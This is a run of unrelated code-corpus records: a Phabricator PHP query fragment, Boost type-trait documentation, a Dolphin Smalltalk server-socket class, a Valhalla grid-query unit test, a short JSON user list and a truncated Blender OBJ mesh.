->withParticipantPHIDs(array($viewer->getPHID()))\n ->setLimit($limit)\n ->execute();\n $all_participation = mpull($all_participation, null, 'getConpherencePHID');\n\n return array(\n 'all_participation' => $all_participation,\n );\n }\n\n private function loadConpherenceThreadData($participation) {\n $user = $this->getRequest()->getUser();\n $conpherence_phids = array_keys($participation);\n $conpherences = array();\n if ($conpherence_phids) {\n $conpherences = id(new ConpherenceThreadQuery())\n ->setViewer($user)\n ->withPHIDs($conpherence_phids)\n ->needProfileImage(true)\n ->execute();\n\n // this will re-sort by participation data\n $conpherences = array_select_keys($conpherences, $conpherence_phids);\n }\n\n return $conpherences;\n }\n\n}\n"} +{"text": "[/ \r\n Copyright 2007 John Maddock.\r\n Distributed under the Boost Software License, Version 1.0.\r\n (See accompanying file LICENSE_1_0.txt or copy at\r\n http://www.boost.org/LICENSE_1_0.txt).\r\n]\r\n\r\n[section:has_nothrow_assign has_nothrow_assign]\r\n\r\n template \r\n struct has_nothrow_assign : public __tof {};\r\n \r\n__inherit If T is a (possibly cv-qualified) type with a non-throwing assignment-operator\r\nthen inherits from __true_type, otherwise inherits from __false_type. Type `T`\r\nmust be a complete type.\r\n\r\n__compat If the compiler does not support partial-specialization of class \r\ntemplates, then this template can not be used with function types.\r\n\r\nWithout some (as yet unspecified) help from the compiler, \r\n`has_nothrow_assign` will never report that a class or struct has a \r\nnon-throwing assignment-operator; this is always safe, if possibly sub-optimal.\r\nCurrently (May 2005) only Visual C++ 8 has the necessary compiler support to ensure that this\r\ntrait \"just works\".\r\n\r\n__header ` #include ` or ` #include `\r\n\r\n[endsect]\r\n\r\n"} +{"text": "\"Filed out from Dolphin Smalltalk 7\"!\r\n\r\nSocketAbstract subclass: #ServerSocket\r\n\tinstanceVariableNames: 'acceptSemaphore'\r\n\tclassVariableNames: ''\r\n\tpoolDictionaries: ''\r\n\tclassInstanceVariableNames: ''!\r\nServerSocket guid: (GUID fromString: '{87b4c6e0-026e-11d3-9fd7-00a0cc3e4a32}')!\r\nServerSocket comment: '** This class is part of the old asynchronous Sockets Connection package which has been superseded by the Dolphin Sockets package **\r\n\r\nThis class is used by a server to listen for a connection request from a client. \r\n\r\nA ServerSocket is instantiated to listen on a particular port with a particular queue size for incoming client connections. Incoming connection requests will be acknowledged and placed on a queue waiting for the ServerSocket to accept them. This is done using #accept which then answers the socket for the next client connection in the queue. If the queue becomes full at any time because sufficient #accept calls have not been issued then additional client connections are rejected.'!\r\n!ServerSocket categoriesForClass!Windows Sockets! !\r\n!ServerSocket methodsFor!\r\n\r\naccept\r\n\t\"Start listening for a connection. This blocks the current process until a connection is accepted. \r\n\tAnswers a Socket representing the incoming connection and triggers a #connectionAccepted:\r\n\tevent.\"\r\n\r\n\t| acceptedSocket |\r\n\t\r\n\t[| retry |\r\n\tretry := false.\r\n\t[acceptedSocket := self basicAccept] on: SocketWouldBlock do: [:e | retry := true].\r\n\tretry] \r\n\t\t\twhileTrue: [self waitAccept].\r\n\tself trigger: #connectionAccepted: with: acceptedSocket.\r\n\t^acceptedSocket!\r\n\r\nacceptNoWait\r\n\t\"Start listening for a connection. This does not block the current process but a\r\n\t#connectionAccepted: event will be triggered when a connection has been accepted.\"\r\n\r\n\t[self accept] fork!\r\n\r\nbasicAccept\r\n\t\"Private - Accepts a connection on a socket. Answers the \r\n\tconnected socket or signals a SocketWouldBlock error if no connection\r\n\tis yet pending\"\r\n\r\n\t| address length newDescriptor |\r\n\taddress := SOCKADDR_IN new.\r\n\tlength := DWORD new.\r\n\tlength value: address byteSize.\r\n\tnewDescriptor := WSockLibrary default \r\n\t\t\t\taccept: self asParameter\r\n\t\t\t\taddr: address asParameter\r\n\t\t\t\taddrlen: length.\r\n\tnewDescriptor = INVALID_SOCKET ifTrue: [self error].\r\n\t^Socket \r\n\t\tdescriptor: newDescriptor\r\n\t\tport: address sin_port\r\n\t\taddress: address sin_addr address!\r\n\r\nbind\r\n\t\"Private - Associates a local address with a socket.\"\r\n\r\n\t| result socketAddress |\r\n\tsocketAddress := SOCKADDR_IN new.\r\n\tsocketAddress sin_family: AF_INET.\r\n\tsocketAddress sin_addr s_addr: INADDR_ANY.\r\n\tsocketAddress port: self port.\r\n\tresult := WSockLibrary default \r\n\t\t\t\tbind: self asParameter\r\n\t\t\t\taddr: socketAddress asParameter\r\n\t\t\t\tnamelen: socketAddress byteSize.\r\n\tresult = 0 ifFalse: [self error]!\r\n\r\nbindPort: anInteger \r\n\t\"Private - Create a socket on anIntegerPort and bind to it. The socket is \r\n\tnot yet listening for connections.\"\r\n\r\n\tself\r\n\t\tport: anInteger;\r\n\t\tcreate;\r\n\t\tregisterDescriptor;\r\n\t\tallowAsyncEvents;\r\n\t\tbind!\r\n\r\ncancelWait\r\n\t\"Private - Cancel a pending accept request\"\r\n\r\n\tself class waitingSemaphores remove: acceptSemaphore signal ifAbsent: []!\r\n\r\nclose\r\n\t\"Close the socket and kill the acceptance process.\"\r\n\r\n\tacceptSemaphore terminateProcess.\r\n\tsuper close!\r\n\r\ninitialize\r\n\t\"Private - Initialize the receiver.\"\r\n\r\n\tsuper initialize.\r\n\tacceptSemaphore := Semaphore new!\r\n\r\nlisten: anIntegerBacklog \r\n\t\"Private - Listen for incoming connections. The receiver can acknowledge anIntegerBacklog\r\n\tnumber of connection requests, placing each in a queue, before any are actually accepted \r\n\tusing #accept.\"\r\n\r\n\t| result |\r\n\tresult := WSockLibrary default listen: self asParameter backlog: anIntegerBacklog.\r\n\tresult = 0 ifFalse: [self error]!\r\n\r\nonAsyncAccept\r\n\t\"Private - Handle the notification of an asynchronous accept event.\"\r\n\r\n\tacceptSemaphore signal!\r\n\r\nwaitAccept\r\n\t\"Private - Wait on the acceptSemaphore until a connection is accepted.\"\r\n\r\n\tself waitOn: acceptSemaphore! !\r\n!ServerSocket categoriesFor: #accept!operations!public! !\r\n!ServerSocket categoriesFor: #acceptNoWait!operations!public! !\r\n!ServerSocket categoriesFor: #basicAccept!operations!private! !\r\n!ServerSocket categoriesFor: #bind!operations!private! !\r\n!ServerSocket categoriesFor: #bindPort:!operations!private! !\r\n!ServerSocket categoriesFor: #cancelWait!operations!private! !\r\n!ServerSocket categoriesFor: #close!operations!public! !\r\n!ServerSocket categoriesFor: #initialize!initializing!private! !\r\n!ServerSocket categoriesFor: #listen:!operations!private! !\r\n!ServerSocket categoriesFor: #onAsyncAccept!event handling!private! !\r\n!ServerSocket categoriesFor: #waitAccept!operations!private! !\r\n\r\n!ServerSocket class methodsFor!\r\n\r\ndefaultMaxPendingConnects\r\n\t\"Answer the default maximum number of pending connects that can be acknowledged \r\n\twithout being accepted.\"\r\n\r\n\t^16!\r\n\r\nnew\r\n\t\"Answer an initialized instance of the receiver\"\r\n\r\n\t^super new initialize!\r\n\r\nport: anIntegerPort \r\n\t\"Answer a new instance of the receiver set up to listen on anIntegerPort. The instance will\r\n\tbe able to queue and number of pending connection requests as given by #defaultPendingConnects\"\r\n\r\n\t^self port: anIntegerPort backlog: self defaultMaxPendingConnects!\r\n\r\nport: anIntegerPort backlog: anIntegerBacklog \r\n\t\"Answer a new instance of the receiver set up to listen on anIntegerPort. The instance will\r\n\tbe capable of acknowledging anIntegerBacklog number of connection requests before\r\n\tany are actually accepted.\"\r\n\r\n\t^(self new)\r\n\t\tbindPort: anIntegerPort;\r\n\t\tlisten: anIntegerBacklog;\r\n\t\tyourself!\r\n\r\npublishedEventsOfInstances\r\n\t\"Answer a Set of Symbols that describe the published events triggered\r\n\tby instances of the receiver.\"\r\n\r\n\t^(super publishedEventsOfInstances)\r\n\t\tadd: #connectionAccepted:;\r\n\t\tyourself! !\r\n!ServerSocket class categoriesFor: #defaultMaxPendingConnects!constants access!public! !\r\n!ServerSocket class categoriesFor: #new!instance creation!public! !\r\n!ServerSocket class categoriesFor: #port:!instance creation!public! !\r\n!ServerSocket class categoriesFor: #port:backlog:!instance creation!public! !\r\n!ServerSocket class categoriesFor: #publishedEventsOfInstances!development!events!public! !\r\n\r\n"} +{"text": "// -*- mode: c++ -*-\n\n#include \"midgard/linesegment2.h\"\n#include \"midgard/pointll.h\"\n\n#include \"meili/grid_range_query.h\"\n\n#include \"test.h\"\n\nnamespace {\n\nusing namespace valhalla;\n\nusing BoundingBox = midgard::AABB2;\nusing LineSegment = midgard::LineSegment2;\n\nTEST(GridRangeQuery, TestAddLineSegment) {\n BoundingBox bbox(0, 0, 100, 100);\n meili::GridRangeQuery grid(bbox, 1.f, 1.f);\n\n grid.AddLineSegment(0, LineSegment({2.5, 3.5}, {10, 3.5}));\n const auto& items23 = grid.GetItemsInSquare(2, 3);\n EXPECT_EQ(items23.size(), 1) << \"should be added to Cell(2, 3)\";\n\n const auto& items53 = grid.GetItemsInSquare(5, 3);\n EXPECT_EQ(items53.size(), 1) << \"should be added to Cell(5, 3)\";\n\n const auto& items88 = grid.GetItemsInSquare(8, 8);\n EXPECT_TRUE(items88.empty()) << \"nothing should be added to Cell(8, 8)\";\n\n grid.AddLineSegment(1, LineSegment({10, 3.5}, {2.5, 3.5}));\n const auto& items33 = grid.GetItemsInSquare(2, 3);\n EXPECT_EQ(items33.size(), 2) << \"2 items should be added to Cell(2, 3)\";\n\n grid.AddLineSegment(0, LineSegment({-10, -10}, {110, 110}));\n const auto& items50 = grid.GetItemsInSquare(50, 50);\n EXPECT_EQ(items50.size(), 1) << \"should be added to Cell(50, 50)\";\n\n const auto& old_item00_size = grid.GetItemsInSquare(0, 0).size();\n grid.AddLineSegment(0, LineSegment({0.5, 0.5}, {0.5, 0.5}));\n EXPECT_EQ(grid.GetItemsInSquare(0, 0).size(), old_item00_size + 1)\n << \"empty segment should be added\";\n\n // A special case that failed\n {\n BoundingBox bbox(-78.5, 0, -78.25, 0.25);\n // 0.005 == 0.25 / 500 where 0.25 is the tile size and we divided it into 500x500 cells\n meili::GridRangeQuery grid(bbox, 0.005f, 0.005f);\n // Should not throw anything here\n grid.AddLineSegment(1, LineSegment({-78.4831, 0.002865}, {-78.4839, -0.001577}));\n }\n}\n\nTEST(GridRangeQuery, TestQuery) {\n const BoundingBox bbox(0, 0, 100, 100);\n meili::GridRangeQuery grid(bbox, 1.f, 1.f);\n\n grid.AddLineSegment(0, LineSegment({2.5, 3.5}, {10, 3.5}));\n\n auto items = grid.Query(BoundingBox(2, 2, 5, 5));\n EXPECT_EQ(items.size(), 1 && items.find(0) != items.end()) << \"query should get item 0\";\n\n items = grid.Query(BoundingBox(10, 10, 20, 20));\n EXPECT_TRUE(items.empty()) << \"query should get nothing\";\n\n items = grid.Query(BoundingBox(2, 3, 2.5, 3.5));\n EXPECT_EQ(items.size(), 1);\n EXPECT_NE(items.find(0), items.end()) << \"query should get item 0\";\n}\n\n} // namespace\n\nint main(int argc, char* argv[]) {\n testing::InitGoogleTest(&argc, argv);\n return RUN_ALL_TESTS();\n}\n"} +{"text": "[\n {\n \"id\": \"4f07450bfc2105680706d822\",\n \"fullName\": \"Aaron Sheriff\",\n \"username\": \"aaronsheriff\"\n },\n {\n \"id\": \"4f07524e061eaf2c4b0d9a1c\",\n \"fullName\": \"Aaron Sheriff\",\n \"username\": \"asheriff\"\n },\n {\n \"id\": \"4eca9b1af471e80a3d0f3f32\",\n \"fullName\": \"Adam Anderly\",\n \"username\": \"anderly\"\n },\n {\n \"id\": \"4ed4e915808aba44a5101b32\",\n \"fullName\": \"Adam Chesney\",\n \"username\": \"adamchesney\"\n },\n {\n \"id\": \"4f07455acab18957070d171e\",\n \"fullName\": \"Adam Copp\",\n \"username\": \"adamcopp\"\n },\n {\n \"id\": \"4d70f4df96d6e8f61004b809\",\n \"fullName\": \"Adam Wishneusky\",\n \"username\": \"adam\"\n },\n {\n \"id\": \"4e98caa80f820300000d2a4d\",\n \"fullName\": \"Adrian Simion\",\n \"username\": \"tgfx\"\n }\n]\n"} +{"text": "# Blender v2.65 (sub 0) OBJ File: 'scale-wankery.blend'\n# www.blender.org\no Box025\nv -8.812500 6.998399 4.537001\nv -8.812500 6.998401 -4.679349\nv -4.088850 6.998901 -9.403449\nv 9.387200 6.998401 -4.679349\nv 4.663550 6.998901 -9.403449\nv 9.387200 6.998399 4.537001\nv 4.663550 6.998899 9.261101\nv -4.088850 6.998899 9.261101\nv 0.234400 34.799301 -0.004144\nv 0.340300 34.799301 -0.004144\nv 0.340300 34.799301 -0.138194\nv 0.234400 34.799301 -0.138194\nv -2.430750 11.606549 7.648502\nv 3.005450 11.606549 7.648502\nv 2.654200 19.296747 6.929003\nv -2.079500 19.296747 6.929003\nv 7.779150 11.606900 2.875652\nv 7.779150 11.606901 -3.017998\nv 7.082400 19.296400 -2.641947\nv 7.082400 19.296400 2.499603\nv 3.005450 11.606551 -7.790798\nv -2.430750 11.606551 -7.790798\nv -2.079500 19.296751 -7.071297\nv 2.654200 19.296751 -7.071297\nv -7.204450 11.606901 -3.017998\nv -7.204450 11.606900 2.875652\nv -6.507700 19.296400 2.499603\nv -6.507700 19.296400 -2.641947\nv 4.682050 11.606099 6.954152\nv 7.085100 11.606199 4.552452\nv 6.388100 19.297100 4.176203\nv 4.330900 19.297197 6.234704\nv -3.756200 19.297197 6.234704\nv -5.813400 19.297100 4.176203\nv -6.510400 11.606199 4.552452\nv -4.107350 11.606099 6.954152\nv 7.085100 11.606201 -4.694748\nv 4.682050 11.606101 -7.096498\nv 4.330900 19.297201 -6.377047\nv 6.388100 19.297100 -4.318547\nv -4.107350 11.606101 -7.096498\nv -6.510400 11.606201 -4.694748\nv -5.813400 19.297100 -4.318547\nv -3.756200 19.297201 -6.377047\nv 3.558950 21.252098 6.760004\nv 6.917600 21.252100 3.401354\nv 4.768050 21.252100 2.510954\nv 2.668550 21.252100 4.610453\nv 6.917600 21.252100 -3.543696\nv 3.558950 21.252102 -6.902347\nv 2.668550 21.252100 -4.752747\nv 4.768050 21.252100 -2.653296\nv -2.984250 21.252102 -6.902347\nv -6.342900 21.252100 -3.543696\nv -4.193350 21.252100 -2.653296\nv -2.093850 21.252100 -4.752747\nv -6.342900 21.252100 3.401354\nv -2.984250 21.252098 6.760004\nv -2.093850 21.252100 4.610453\nv -4.193350 21.252100 2.510954\nv 2.668550 20.364250 4.610453\nv -2.093850 20.364250 4.610453\nv 4.768050 20.364250 2.510953\nv 4.768050 20.364250 -2.653297\nv 2.668550 20.364250 -4.752747\nv -2.093850 20.364250 -4.752747\nv -4.193350 20.364250 -2.653297\nv -4.193350 20.364250 2.510953\nv 0.002500 20.364250 0.289453\nv 0.002500 20.364250 -0.431797\nv 0.572200 20.364250 -0.431797\nv 0.572200 20.364250 0.289453\nv -9.116800 10.054249 4.661151\nv -9.116800 10.054251 -4.803499\nv -4.212750 10.055548 9.563702\nv 4.787450 10.055548 9.563702\nv 9.691500 10.054249 4.661151\nv 9.691500 10.054251 -4.803499\nv 4.787450 10.055552 -9.705998\nv -4.212750 10.055552 -9.705998\nv -3.017200 20.273798 6.837554\nv 3.591900 20.273798 6.837554\nv -6.419150 20.273701 3.434303\nv -6.419150 20.273701 -3.576647\nv -3.017200 20.273802 -6.979897\nv 3.591900 20.273802 -6.979897\nv 6.993850 20.273701 -3.576647\nv 6.993850 20.273701 3.434303\nv 4.032450 10.629499 7.739902\nv -3.457700 10.629499 7.739902\nv 7.867700 10.629601 -4.048248\nv 7.867700 10.629599 3.905952\nv -3.457700 10.629501 -7.882248\nv 4.032450 10.629501 -7.882248\nv -7.293000 10.629599 3.905952\nv -7.293000 10.629601 -4.048248\nv 16.078800 8.133749 6.415251\nv 16.139200 8.133751 -6.296248\nv 16.139200 9.682501 -6.296248\nv 16.078800 9.682499 6.415251\nv 7.193500 8.133753 -15.327399\nv 7.193500 9.682503 -15.327398\nv -5.518050 8.133753 -15.387799\nv -5.518050 9.682503 -15.387798\nv -14.549200 8.133751 -6.442099\nv -14.549200 9.682501 -6.442099\nv -14.609600 8.133749 6.269452\nv -14.609600 9.682499 6.269452\nv -5.663900 8.133747 15.300551\nv -5.663900 9.682497 15.300552\nv 7.047650 8.133747 15.361001\nv 7.047650 9.682497 15.360952\nv 13.704350 8.133750 2.824852\nv 13.730700 8.133750 -2.728549\nv 7.915950 8.133749 2.988551\nv 10.315000 8.133750 1.402001\nv 7.944150 8.133751 -2.947299\nv 10.328000 8.133750 -1.337999\nv 7.907500 8.133748 11.143151\nv 11.853000 8.133749 7.235002\nv 3.698700 8.133749 7.165951\nv 6.516950 8.133749 7.740451\nv 8.463650 8.133749 5.812151\nv -2.073450 8.133748 12.926101\nv 3.479950 8.133748 12.952501\nv -2.237200 8.133749 7.137702\nv -0.650650 8.133748 9.536801\nv 2.089400 8.133748 9.549801\nv -10.391800 8.133749 7.129302\nv -6.483600 8.133748 11.074751\nv -6.414550 8.133750 2.920501\nv -6.989050 8.133749 5.738751\nv -5.060800 8.133749 7.685452\nv -12.174750 8.133750 -2.851649\nv -12.201100 8.133750 2.701751\nv -6.386350 8.133751 -3.015399\nv -8.785400 8.133750 -1.428849\nv -8.798400 8.133750 1.311201\nv -6.377900 8.133752 -11.169999\nv -10.323400 8.133751 -7.261798\nv -2.169100 8.133751 -7.192749\nv -4.987350 8.133751 -7.767299\nv -6.934050 8.133751 -5.838999\nv 3.603050 8.133752 -12.952949\nv -1.950350 8.133752 -12.979349\nv 3.766800 8.133751 -7.164548\nv 2.180200 8.133752 -9.563599\nv -0.559800 8.133752 -9.576649\nv 11.921350 8.133751 -7.156098\nv 8.013200 8.133752 -11.101599\nv 8.518650 8.133751 -5.765549\nv 6.590400 8.133751 -7.712249\nv 13.704350 -5.382051 2.824849\nv 13.730700 -5.382050 -2.728551\nv 10.315000 -5.382050 1.401999\nv 10.328000 -5.382050 -1.338001\nv 7.907500 -5.382052 11.143149\nv 11.853000 -5.382051 7.234999\nv 6.516950 -5.382051 7.740449\nv 8.463650 -5.382051 5.812149\nv -2.073450 -5.382052 12.926099\nv 3.479950 -5.382052 12.952499\nv -0.650650 -5.382051 9.536799\nv 2.089400 -5.382051 9.549799\nv -10.391800 -5.382051 7.129299\nv -6.483600 -5.382052 11.074749\nv -6.989050 -5.382051 5.738749\nv -5.060800 -5.382051 7.685449\nv -12.174750 -5.382050 -2.851651\nv -12.201100 -5.382051 2.701749\nv -8.785400 -5.382050 -1.428851\nv -8.798400 -5.382050 1.311199\nv -6.377900 -5.382048 -11.170001\nv -10.323400 -5.382049 -7.261801\nv -4.987350 -5.382049 -7.767301\nv -6.934050 -5.382049 -5.839001\nv 3.603050 -5.382048 -12.952950\nv -1.950350 -5.382048 -12.979351\nv 2.180200 -5.382049 -9.563601\nv -0.559800 -5.382049 -9.576651\nv 11.921350 -5.382049 -7.156101\nv 8.013200 -5.382048 -11.101601\nv 8.518650 -5.382049 -5.765551\nv 6.590400 -5.382049 -7.712251\nv -5.518050 8.133753 -15.387799\nv -5.518050 8.133753 -15.387799\nv -14.549200 8.133751 -6.442099\nv -14.549200 8.133751 -6.442099\nv 6.516950 8.133749 7.740451\nv 6.516950 8.133749 7.740451\nv 8.463650 8.133749 5.812151\nv 8.463650 8.133749 5.812151\nv 16.078800 8.133749 6.415251\nv 16.078800 8.133749 6.415251\nv 16.139200 8.133751 -6.296248\nv 16.139200 8.133751 -6.296248\nv -9.116800 10.054249 4.661151\nv -9.116800 10.054249 4.661151\nv -4.212750 10.055548 9.563702\nv -4.212750 10.055548 9.563702\nv 4.032450 10.629499 7.739902\nv 4.032450 10.629499 7.739902\nv -3.457700 10.629499 7.739902\nv -3.457700 10.629499 7.739902\nv 3.591900 20.273802 -6.979897\nv 4.032450 10.629501 -7.882248\nv 4.032450 10.629501 -7.882248\nv 10.328000 8.133750 -1.337999\nv 10.328000 8.133750 -1.337999\nv 10.328000 -5.382050 -1.338001\nv -6.342900 21.252100 -3.543696\nv -6.342900 21.252100 -3.543696\nv -6.342900 21.252100 3.401354\nv -6.342900 21.252100 3.401354\nv 7.047650 8.133747 15.361001\nv 7.047650 8.133747 15.361001\nv 7.047650 9.682497 15.360952\nv 7.047650 9.682497 15.360952\nv 4.768050 20.364250 -2.653297\nv 4.768050 20.364250 -2.653297\nv 2.668550 20.364250 -4.752747\nv 2.668550 20.364250 -4.752747\nv -8.812500 6.998399 4.537001\nv -8.812500 6.998399 4.537001\nv -10.323400 8.133751 -7.261798\nv -10.323400 8.133751 -7.261798\nv -6.934050 8.133751 -5.838999\nv -6.934050 8.133751 -5.838999\nv -14.609600 8.133749 6.269452\nv -14.609600 8.133749 6.269452\nv -5.663900 8.133747 15.300551\nv -5.663900 8.133747 15.300551\nv -4.193350 20.364250 -2.653297\nv -4.193350 20.364250 -2.653297\nv -4.193350 20.364250 2.510953\nv -4.193350 20.364250 2.510953\nv 7.193500 9.682503 -15.327398\nv 7.193500 9.682503 -15.327398\nv -5.518050 9.682503 -15.387798\nv -5.518050 9.682503 -15.387798\nv 9.387200 6.998401 -4.679349\nv 9.387200 6.998401 -4.679349\nv 4.663550 6.998901 -9.403449\nv 4.663550 6.998901 -9.403449\nv 6.917600 21.252100 3.401354\nv 6.917600 21.252100 3.401354\nv 6.993850 20.273701 3.434303\nv 11.921350 8.133751 -7.156098\nv 11.921350 8.133751 -7.156098\nv 8.518650 8.133751 -5.765549\nv 8.518650 8.133751 -5.765549\nv -2.073450 8.133748 12.926101\nv -2.073450 8.133748 12.926101\nv 3.479950 8.133748 12.952501\nv 3.479950 8.133748 12.952501\nv 7.907500 8.133748 11.143151\nv 7.907500 8.133748 11.143151\nv 7.907500 -5.382052 11.143149\nv 7.867700 10.629601 -4.048248\nv 7.867700 10.629601 -4.048248\nv 7.867700 10.629599 3.905952\nv 7.867700 10.629599 3.905952\nv 0.340300 34.799301 -0.004144\nv 0.340300 34.799301 -0.004144\nv 0.572200 20.364250 0.289453\nv 0.572200 20.364250 0.289453\nv -6.934050 -5.382049 -5.839001\nv 10.315000 8.133750 1.402001\nv 10.315000 8.133750 1.402001\nv 10.315000 -5.382050 1.401999\nv 3.479950 -5.382052 12.952499\nv -6.419150 20.273701 -3.576647\nv 3.603050 8.133752 -12.952949\nv 3.603050 8.133752 -12.952949\nv 3.603050 -5.382048 -12.952950\nv -2.093850 21.252100 4.610453\nv -2.093850 21.252100 4.610453\nv -4.193350 21.252100 2.510954\nv -4.193350 21.252100 2.510954\nv -8.785400 8.133750 -1.428849\nv -8.785400 8.133750 -1.428849\nv -8.798400 8.133750 1.311201\nv -8.798400 8.133750 1.311201\nv 13.704350 8.133750 2.824852\nv 13.704350 8.133750 2.824852\nv 13.730700 8.133750 -2.728549\nv 13.730700 8.133750 -2.728549\nv -8.812500 6.998401 -4.679349\nv -8.812500 6.998401 -4.679349\nv -4.088850 6.998901 -9.403449\nv -4.088850 6.998901 -9.403449\nv -2.984250 21.252098 6.760004\nv -2.984250 21.252098 6.760004\nv -3.017200 20.273798 6.837554\nv 2.180200 8.133752 -9.563599\nv 2.180200 8.133752 -9.563599\nv 2.180200 -5.382049 -9.563601\nv -12.174750 8.133750 -2.851649\nv -12.174750 8.133750 -2.851649\nv -12.174750 -5.382050 -2.851651\nv 13.730700 -5.382050 -2.728551\nv -1.950350 8.133752 -12.979349\nv -1.950350 8.133752 -12.979349\nv -1.950350 -5.382048 -12.979351\nv 11.853000 8.133749 7.235002\nv 11.853000 8.133749 7.235002\nv 11.853000 -5.382051 7.234999\nv -5.663900 9.682497 15.300552\nv -5.663900 9.682497 15.300552\nv -12.201100 8.133750 2.701751\nv -12.201100 8.133750 2.701751\nv -12.201100 -5.382051 2.701749\nv 3.558950 21.252098 6.760004\nv 3.558950 21.252098 6.760004\nv 3.591900 20.273798 6.837554\nv 6.590400 8.133751 -7.712249\nv 6.590400 8.133751 -7.712249\nv 6.590400 -5.382049 -7.712251\nv -9.116800 10.054251 -4.803499\nv -9.116800 10.054251 -4.803499\nv 4.768050 21.252100 2.510954\nv 4.768050 21.252100 2.510954\nv 2.668550 21.252100 4.610453\nv 2.668550 21.252100 4.610453\nv -5.060800 8.133749 7.685452\nv -5.060800 8.133749 7.685452\nv -5.060800 -5.382051 7.685449\nv -0.559800 8.133752 -9.576649\nv -0.559800 8.133752 -9.576649\nv -4.212750 10.055552 -9.705998\nv -4.212750 10.055552 -9.705998\nv 0.572200 20.364250 -0.431797\nv 0.572200 20.364250 -0.431797\nv -0.650650 8.133748 9.536801\nv -0.650650 8.133748 9.536801\nv -0.650650 -5.382051 9.536799\nv 4.768050 21.252100 -2.653296\nv 4.768050 21.252100 -2.653296\nv -3.457700 10.629501 -7.882248\nv -3.457700 10.629501 -7.882248\nv 2.668550 21.252100 -4.752747\nv 2.668550 21.252100 -4.752747\nv -14.609600 9.682499 6.269452\nv -14.609600 9.682499 6.269452\nv 11.921350 -5.382049 -7.156101\nv -8.785400 -5.382050 -1.428851\nv 2.089400 8.133748 9.549801\nv 2.089400 8.133748 9.549801\nv -4.088850 6.998899 9.261101\nv -4.088850 6.998899 9.261101\nv 0.234400 34.799301 -0.004144\nv 0.234400 34.799301 -0.004144\nv 6.917600 21.252100 -3.543696\nv 6.917600 21.252100 -3.543696\nv 3.558950 21.252102 -6.902347\nv 3.558950 21.252102 -6.902347\nv -4.987350 8.133751 -7.767299\nv -4.987350 8.133751 -7.767299\nv -2.093850 21.252100 -4.752747\nv -2.093850 21.252100 -4.752747\nv -6.377900 8.133752 -11.169999\nv -6.377900 8.133752 -11.169999\nv -7.293000 10.629599 3.905952\nv -7.293000 10.629599 3.905952\nv -7.293000 10.629601 -4.048248\nv -7.293000 10.629601 -4.048248\nv -0.559800 -5.382049 -9.576651\nv 4.663550 6.998899 9.261101\nv 4.663550 6.998899 9.261101\nv 4.787450 10.055552 -9.705998\nv 4.787450 10.055552 -9.705998\nv -2.984250 21.252102 -6.902347\nv -2.984250 21.252102 -6.902347\nv -6.483600 8.133748 11.074751\nv -6.483600 8.133748 11.074751\nv 0.002500 20.364250 0.289453\nv 0.002500 20.364250 0.289453\nv -10.391800 8.133749 7.129302\nv -10.391800 8.133749 7.129302\nv -6.989050 8.133749 5.738751\nv -6.989050 8.133749 5.738751\nv 9.691500 10.054249 4.661151\nv 9.691500 10.054249 4.661151\nv 9.691500 10.054251 -4.803499\nv 9.691500 10.054251 -4.803499\nv -3.017200 20.273802 -6.979897\nv 0.234400 34.799301 -0.138194\nv 0.234400 34.799301 -0.138194\nv 0.002500 20.364250 -0.431797\nv 0.002500 20.364250 -0.431797\nv 9.387200 6.998399 4.537001\nv 9.387200 6.998399 4.537001\nv -4.193350 21.252100 -2.653296\nv -4.193350 21.252100 -2.653296\nv 16.078800 9.682499 6.415251\nv 16.078800 9.682499 6.415251\nv -6.989050 -5.382051 5.738749\nv 0.340300 34.799301 -0.138194\nv 0.340300 34.799301 -0.138194\nv 8.013200 8.133752 -11.101599\nv 8.013200 8.133752 -11.101599\nv 8.013200 -5.382048 -11.101601\nv 16.139200 9.682501 -6.296248\nv 16.139200 9.682501 -6.296248\nv 4.787450 10.055548 9.563702\nv 4.787450 10.055548 9.563702\nv 6.516950 -5.382051 7.740449\nv -2.093850 20.364250 -4.752747\nv -2.093850 20.364250 -4.752747\nv -6.377900 -5.382048 -11.170001\nv 7.193500 8.133753 -15.327399\nv 7.193500 8.133753 -15.327399\nv 8.518650 -5.382049 -5.765551\nv 8.463650 -5.382051 5.812149\nv 6.993850 20.273701 -3.576647\nv -2.093850 20.364250 4.610453\nv -2.093850 20.364250 4.610453\nv 2.668550 20.364250 4.610453\nv 2.668550 20.364250 4.610453\nv 4.768050 20.364250 2.510953\nv 4.768050 20.364250 2.510953\nv -2.073450 -5.382052 12.926099\nv -10.323400 -5.382049 -7.261801\nv -10.391800 -5.382051 7.129299\nv -6.483600 -5.382052 11.074749\nv -14.549200 9.682501 -6.442099\nv -14.549200 9.682501 -6.442099\nv -6.419150 20.273701 3.434303\nv 2.089400 -5.382051 9.549799\nv 13.704350 -5.382051 2.824849\nv -4.987350 -5.382049 -7.767301\nv -8.798400 -5.382050 1.311199\nvt 0.797500 0.454000\nvt 0.861800 0.454000\nvt 0.894800 0.489600\nvt 0.861800 0.591100\nvt 0.894800 0.555500\nvt 0.764500 0.555500\nvt 0.797500 0.591100\nvt 0.764500 0.489600\nvt 0.560100 0.215700\nvt 0.560100 0.216900\nvt 0.551600 0.216900\nvt 0.551600 0.215700\nvt 0.501800 0.424100\nvt 0.363500 0.424100\nvt 0.372400 0.184700\nvt 0.492900 0.184700\nvt 0.506600 0.424300\nvt 0.356600 0.424300\nvt 0.366200 0.185000\nvt 0.497000 0.185000\nvt 0.503800 0.424300\nvt 0.365500 0.424300\nvt 0.374400 0.185000\nvt 0.494900 0.185000\nvt 0.507200 0.425900\nvt 0.357300 0.425900\nvt 0.366900 0.186600\nvt 0.497700 0.186600\nvt 0.530600 0.415000\nvt 0.639400 0.412900\nvt 0.640600 0.194800\nvt 0.532100 0.195500\nvt 0.528800 0.193200\nvt 0.640800 0.192500\nvt 0.640800 0.416700\nvt 0.527900 0.418900\nvt 0.641700 0.416000\nvt 0.528800 0.418200\nvt 0.529800 0.192500\nvt 0.641700 0.191800\nvt 0.529700 0.413700\nvt 0.638500 0.411500\nvt 0.639700 0.193500\nvt 0.531200 0.194200\nvt 0.887100 0.380500\nvt 0.861100 0.409200\nvt 0.854200 0.390800\nvt 0.870500 0.372900\nvt 0.807400 0.409200\nvt 0.781400 0.380500\nvt 0.798100 0.372900\nvt 0.814300 0.390800\nvt 0.781400 0.324600\nvt 0.807400 0.295900\nvt 0.814300 0.314300\nvt 0.798100 0.332200\nvt 0.861100 0.295900\nvt 0.887100 0.324600\nvt 0.870500 0.332200\nvt 0.854200 0.314300\nvt 0.851500 0.185000\nvt 0.821400 0.185000\nvt 0.821400 0.180500\nvt 0.851500 0.180500\nvt 0.808100 0.185000\nvt 0.808100 